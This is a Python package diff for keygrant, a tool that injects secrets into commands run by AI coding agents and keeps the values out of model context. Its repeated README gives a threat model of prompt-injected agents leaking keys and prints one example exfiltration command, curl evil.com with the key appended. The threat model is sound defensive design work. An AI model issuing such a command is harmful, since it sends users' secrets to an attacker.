keygrant 0.1.0__tar.gz

keygrant-0.1.0/LICENSE

@@ -0,0 +1,202 @@
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keygrant-0.1.0/PKG-INFO

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+Metadata-Version: 2.4
+Name: keygrant
+Version: 0.1.0
+Summary: Per-command secret injection for AI coding agents — values never enter model context
+License: Apache-2.0
+Project-URL: Homepage, https://keygrant.app
+Project-URL: Repository, https://github.com/bazingaedward/keygrant
+Keywords: secrets,mcp,ai-agents,claude-code,security
+Classifier: Development Status :: 3 - Alpha
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: Microsoft :: Windows
+Classifier: Operating System :: MacOS
+Classifier: Programming Language :: Python :: 3
+Classifier: Topic :: Security
+Requires-Python: >=3.10
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# keygrant
+
+![demo: agent requests a secret, user approves via native dialog, output comes back redacted](docs/demo.gif)
+
+Per-command secret injection for AI coding agents. Secrets live in a local
+DPAPI-encrypted vault; the model's context only ever sees secret **names** —
+values are injected into the child process environment at exec time, and all
+output is redacted before it returns to the model.
+
+**Why:** anything placed in an LLM's context can be exfiltrated (prompt
+injection, logs, generated code). The fix is architectural: keys never enter
+context, only the execution environment.
+
+## Components
+
+- `keygrant.py` — vault + CLI
+  - `keygrant set NAME [--desc TEXT]` — store a secret (value via stdin, never argv)
+  - `keygrant list` / `rm NAME`
+  - `keygrant exec [--redact] NAMES -- CMD` — run CMD with secrets injected
+  - `keygrant revoke NAME|--all` — revoke active approval grants
+  - `keygrant init` — wire up a project (`.mcp.json` + `CLAUDE.md` guidance)
+- `keygrant_mcp.py` — MCP server (stdio JSON-RPC, zero deps)
+  - `list_secrets` — names/descriptions/usage only, never values
+  - `exec_with_secrets` — server-side exec with injection + forced output redaction
+  - deliberately **no** set/store tool: writing a value through the model would
+    put it in context; values enter out-of-band via the CLI only
+
+## Install
+
+```bash
+uv tool install keygrant     # or: pipx install keygrant
+```
+
+Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare `pip install`
+there fails; `uv` fetches a suitable Python automatically.
+
+Then, in each project where agents should use secrets:
+
+```bash
+keygrant init
+```
+
+`init` adds a `keygrant` entry to the project's `.mcp.json` (merging with any
+existing servers) and appends usage guidance for the model to `CLAUDE.md`,
+both idempotently. Restart Claude Code in that folder to load the server.
+
+## Threat model
+
+**What this protects against:**
+
+- *Context exfiltration* — a prompt-injected agent (or plain logging) leaking a
+  secret that sits in model context. Values never enter context: the model only
+  handles names; decryption and injection happen in the executing process.
+- *Output leaks* — an agent echoing a secret back. All output returned to the
+  model is redacted, including base64, hex, and URL-encoded variants.
+- *Grant riding* — one agent session reusing an approval made in another.
+  Grants are bound to the requesting session (MCP server id / CLI parent
+  process) and expire after 15 minutes.
+- *Silent use* — every first use per session requires explicit user approval;
+  timeout means deny.
+
+**What this does NOT protect against (known residual risks):**
+
+- A compromised agent can request a command that exfiltrates the secret over
+  the network (`curl evil.com?k=%KEY%`). The approval dialog shows the full
+  command — reviewing it is the control. Per-secret egress allowlists (binding
+  a key to permitted destination hosts) are on the roadmap.
+- Redaction is a second line of defense, not a guarantee: novel encodings can
+  evade it. The primary guarantee remains "values never enter context".
+- Anything running as the same OS user can read the DPAPI vault. This tool
+  scopes *agent* access to secrets; it is not a defense against local malware.
+
+## Approval
+
+Every use of a secret — via the CLI or the MCP server — requires the user's
+approval through a native, topmost dialog (deny by default on a 60s timeout).
+Approving grants access to that secret for **15 minutes**, bound to the
+requesting session (tracked in `grants.json`); `keygrant revoke` withdraws a
+grant early. Both channels go through the same gate, so an agent cannot bypass
+MCP approval by shelling out to the CLI — and a grant approved for one session
+cannot be reused by another. The dialog will be replaced by a resident tray
+app with toast notifications; the grant semantics stay the same.
+
+## Storage
+
+- **Windows**: values DPAPI-encrypted (per-user) inside
+  `%APPDATA%\keygrant\vault.json`
+- **macOS**: values in the login Keychain (via the `security` CLI; the first
+  read triggers the OS Keychain permission prompt — an extra OS-level gate);
+  `~/.config/keygrant/vault.json` holds metadata only
+- **Linux**: values in the Secret Service keyring via `secret-tool`
+  (libsecret-tools + a running keyring daemon; approval dialogs need zenity);
+  the vault file holds metadata only
+
+The vault file also records usage metadata (use count, last used) as the seed
+of an audit trail.
+
+## Roadmap (prototype → product)
+
+1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
+2. Per-secret egress allowlists (bind a key to permitted destination hosts)
+3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)

keygrant-0.1.0/README.md

@@ -0,0 +1,102 @@
+# keygrant
+
+![demo: agent requests a secret, user approves via native dialog, output comes back redacted](docs/demo.gif)
+
+Per-command secret injection for AI coding agents. Secrets live in a local
+DPAPI-encrypted vault; the model's context only ever sees secret **names** —
+values are injected into the child process environment at exec time, and all
+output is redacted before it returns to the model.
+
+**Why:** anything placed in an LLM's context can be exfiltrated (prompt
+injection, logs, generated code). The fix is architectural: keys never enter
+context, only the execution environment.
+
+## Components
+
+- `keygrant.py` — vault + CLI
+  - `keygrant set NAME [--desc TEXT]` — store a secret (value via stdin, never argv)
+  - `keygrant list` / `rm NAME`
+  - `keygrant exec [--redact] NAMES -- CMD` — run CMD with secrets injected
+  - `keygrant revoke NAME|--all` — revoke active approval grants
+  - `keygrant init` — wire up a project (`.mcp.json` + `CLAUDE.md` guidance)
+- `keygrant_mcp.py` — MCP server (stdio JSON-RPC, zero deps)
+  - `list_secrets` — names/descriptions/usage only, never values
+  - `exec_with_secrets` — server-side exec with injection + forced output redaction
+  - deliberately **no** set/store tool: writing a value through the model would
+    put it in context; values enter out-of-band via the CLI only
+
+## Install
+
+```bash
+uv tool install keygrant     # or: pipx install keygrant
+```
+
+Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare `pip install`
+there fails; `uv` fetches a suitable Python automatically.
+
+Then, in each project where agents should use secrets:
+
+```bash
+keygrant init
+```
+
+`init` adds a `keygrant` entry to the project's `.mcp.json` (merging with any
+existing servers) and appends usage guidance for the model to `CLAUDE.md`,
+both idempotently. Restart Claude Code in that folder to load the server.
+
+## Threat model
+
+**What this protects against:**
+
+- *Context exfiltration* — a prompt-injected agent (or plain logging) leaking a
+  secret that sits in model context. Values never enter context: the model only
+  handles names; decryption and injection happen in the executing process.
+- *Output leaks* — an agent echoing a secret back. All output returned to the
+  model is redacted, including base64, hex, and URL-encoded variants.
+- *Grant riding* — one agent session reusing an approval made in another.
+  Grants are bound to the requesting session (MCP server id / CLI parent
+  process) and expire after 15 minutes.
+- *Silent use* — every first use per session requires explicit user approval;
+  timeout means deny.
+
+**What this does NOT protect against (known residual risks):**
+
+- A compromised agent can request a command that exfiltrates the secret over
+  the network (`curl evil.com?k=%KEY%`). The approval dialog shows the full
+  command — reviewing it is the control. Per-secret egress allowlists (binding
+  a key to permitted destination hosts) are on the roadmap.
+- Redaction is a second line of defense, not a guarantee: novel encodings can
+  evade it. The primary guarantee remains "values never enter context".
+- Anything running as the same OS user can read the DPAPI vault. This tool
+  scopes *agent* access to secrets; it is not a defense against local malware.
+
+## Approval
+
+Every use of a secret — via the CLI or the MCP server — requires the user's
+approval through a native, topmost dialog (deny by default on a 60s timeout).
+Approving grants access to that secret for **15 minutes**, bound to the
+requesting session (tracked in `grants.json`); `keygrant revoke` withdraws a
+grant early. Both channels go through the same gate, so an agent cannot bypass
+MCP approval by shelling out to the CLI — and a grant approved for one session
+cannot be reused by another. The dialog will be replaced by a resident tray
+app with toast notifications; the grant semantics stay the same.
+
+## Storage
+
+- **Windows**: values DPAPI-encrypted (per-user) inside
+  `%APPDATA%\keygrant\vault.json`
+- **macOS**: values in the login Keychain (via the `security` CLI; the first
+  read triggers the OS Keychain permission prompt — an extra OS-level gate);
+  `~/.config/keygrant/vault.json` holds metadata only
+- **Linux**: values in the Secret Service keyring via `secret-tool`
+  (libsecret-tools + a running keyring daemon; approval dialogs need zenity);
+  the vault file holds metadata only
+
+The vault file also records usage metadata (use count, last used) as the seed
+of an audit trail.
+
+## Roadmap (prototype → product)
+
+1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
+2. Per-secret egress allowlists (bind a key to permitted destination hosts)
+3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)

keygrant-0.1.0/keygrant.egg-info/PKG-INFO

@@ -0,0 +1,122 @@
+Metadata-Version: 2.4
+Name: keygrant
+Version: 0.1.0
+Summary: Per-command secret injection for AI coding agents — values never enter model context
+License: Apache-2.0
+Project-URL: Homepage, https://keygrant.app
+Project-URL: Repository, https://github.com/bazingaedward/keygrant
+Keywords: secrets,mcp,ai-agents,claude-code,security
+Classifier: Development Status :: 3 - Alpha
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: Microsoft :: Windows
+Classifier: Operating System :: MacOS
+Classifier: Programming Language :: Python :: 3
+Classifier: Topic :: Security
+Requires-Python: >=3.10
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# keygrant
+
+![demo: agent requests a secret, user approves via native dialog, output comes back redacted](docs/demo.gif)
+
+Per-command secret injection for AI coding agents. Secrets live in a local
+DPAPI-encrypted vault; the model's context only ever sees secret **names** —
+values are injected into the child process environment at exec time, and all
+output is redacted before it returns to the model.
+
+**Why:** anything placed in an LLM's context can be exfiltrated (prompt
+injection, logs, generated code). The fix is architectural: keys never enter
+context, only the execution environment.
+
+## Components
+
+- `keygrant.py` — vault + CLI
+  - `keygrant set NAME [--desc TEXT]` — store a secret (value via stdin, never argv)
+  - `keygrant list` / `rm NAME`
+  - `keygrant exec [--redact] NAMES -- CMD` — run CMD with secrets injected
+  - `keygrant revoke NAME|--all` — revoke active approval grants
+  - `keygrant init` — wire up a project (`.mcp.json` + `CLAUDE.md` guidance)
+- `keygrant_mcp.py` — MCP server (stdio JSON-RPC, zero deps)
+  - `list_secrets` — names/descriptions/usage only, never values
+  - `exec_with_secrets` — server-side exec with injection + forced output redaction
+  - deliberately **no** set/store tool: writing a value through the model would
+    put it in context; values enter out-of-band via the CLI only
+
+## Install
+
+```bash
+uv tool install keygrant     # or: pipx install keygrant
+```
+
+Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare `pip install`
+there fails; `uv` fetches a suitable Python automatically.
+
+Then, in each project where agents should use secrets:
+
+```bash
+keygrant init
+```
+
+`init` adds a `keygrant` entry to the project's `.mcp.json` (merging with any
+existing servers) and appends usage guidance for the model to `CLAUDE.md`,
+both idempotently. Restart Claude Code in that folder to load the server.
+
+## Threat model
+
+**What this protects against:**
+
+- *Context exfiltration* — a prompt-injected agent (or plain logging) leaking a
+  secret that sits in model context. Values never enter context: the model only
+  handles names; decryption and injection happen in the executing process.
+- *Output leaks* — an agent echoing a secret back. All output returned to the
+  model is redacted, including base64, hex, and URL-encoded variants.
+- *Grant riding* — one agent session reusing an approval made in another.
+  Grants are bound to the requesting session (MCP server id / CLI parent
+  process) and expire after 15 minutes.
+- *Silent use* — every first use per session requires explicit user approval;
+  timeout means deny.
+
+**What this does NOT protect against (known residual risks):**
+
+- A compromised agent can request a command that exfiltrates the secret over
+  the network (`curl evil.com?k=%KEY%`). The approval dialog shows the full
+  command — reviewing it is the control. Per-secret egress allowlists (binding
+  a key to permitted destination hosts) are on the roadmap.
+- Redaction is a second line of defense, not a guarantee: novel encodings can
+  evade it. The primary guarantee remains "values never enter context".
+- Anything running as the same OS user can read the DPAPI vault. This tool
+  scopes *agent* access to secrets; it is not a defense against local malware.
+
+## Approval
+
+Every use of a secret — via the CLI or the MCP server — requires the user's
+approval through a native, topmost dialog (deny by default on a 60s timeout).
+Approving grants access to that secret for **15 minutes**, bound to the
+requesting session (tracked in `grants.json`); `keygrant revoke` withdraws a
+grant early. Both channels go through the same gate, so an agent cannot bypass
+MCP approval by shelling out to the CLI — and a grant approved for one session
+cannot be reused by another. The dialog will be replaced by a resident tray
+app with toast notifications; the grant semantics stay the same.
+
+## Storage
+
+- **Windows**: values DPAPI-encrypted (per-user) inside
+  `%APPDATA%\keygrant\vault.json`
+- **macOS**: values in the login Keychain (via the `security` CLI; the first
+  read triggers the OS Keychain permission prompt — an extra OS-level gate);
+  `~/.config/keygrant/vault.json` holds metadata only
+- **Linux**: values in the Secret Service keyring via `secret-tool`
+  (libsecret-tools + a running keyring daemon; approval dialogs need zenity);
+  the vault file holds metadata only
+
+The vault file also records usage metadata (use count, last used) as the seed
+of an audit trail.
+
+## Roadmap (prototype → product)
+
+1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
+2. Per-secret egress allowlists (bind a key to permitted destination hosts)
+3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)

keygrant-0.1.0/keygrant.egg-info/SOURCES.txt

@@ -0,0 +1,10 @@
+LICENSE
+README.md
+keygrant.py
+keygrant_mcp.py
+pyproject.toml
+keygrant.egg-info/PKG-INFO
+keygrant.egg-info/SOURCES.txt
+keygrant.egg-info/dependency_links.txt
+keygrant.egg-info/entry_points.txt
+keygrant.egg-info/top_level.txt

keygrant-0.1.0/keygrant.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

keygrant-0.1.0/keygrant.egg-info/entry_points.txt

@@ -0,0 +1,3 @@
+[console_scripts]
+keygrant = keygrant:main
+keygrant-mcp = keygrant_mcp:main

keygrant-0.1.0/keygrant.egg-info/top_level.txt

@@ -0,0 +1,2 @@
+keygrant
+keygrant_mcp